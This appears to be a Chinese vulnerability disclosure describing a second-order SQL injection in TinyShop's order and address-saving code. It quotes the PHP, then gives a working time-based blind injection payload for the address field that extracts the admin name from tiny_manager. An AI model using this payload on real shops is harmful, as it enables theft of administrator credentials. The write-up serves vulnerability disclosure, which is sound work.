TinyShop二次注入一枚

漏洞作者： roker

还是 protected/controllers/simple.php文件

[php]

public function order_act(){

.................

$address = $model->table("address")->where("id=$address_id")->find();

//if(!$address)$this->redirect("order",false,Req::args());

//if(!$payment_id)$this->redirect("order",false,Req::args());

$data['order_no'] = Common::createOrderNo();

.............

$data['addr'] = $address['addr'];//因为有字符限制 ，所以选择这个参数入

..........

//var_dump($order_products);exit();

//写入订单数据

$order_id = $model->table("order")->data($data)->insert();

[/php]

看到

[php]

public function address_save(){

$rules = array('zip:zip:邮政编码格式不正确!','addr:required:内容不能为空！','accept_name:required:收货人姓名不能为空!,mobile:mobi:手机格式不正确!,phone:phone:电话格式不正确');

$info = Validator::check($rules);

if(!is_array($info) && $info==true) {//

Filter::form(array('sql'=>'accept_name|mobile|phone','txt'=>'addr','int'=>'province|city|county|zip|is_default|id'));

[/php]

会把单引号转义为 斜杠+'. 但是进入数据库时 斜杠 是不会进去的。从而造成二次注入。

延时注入测试下。

首先 添加个收货地址，抓包修改 addr=','111111',49,12.00,12.00,'2014-06-27 09:33:13','',0,'0',0,0,52,40,0,1,0,if(ascii(substr((select name from tiny_manager),1,1))-96,sleep(2),null))#

用生成的地址 提交订单。

看mysql执行日志，可以看到

[php]

[/php]

#将后面的注释掉，所以实际执行的为

延时成功。

可以写个脚本跑下密码。这里就不提供了~
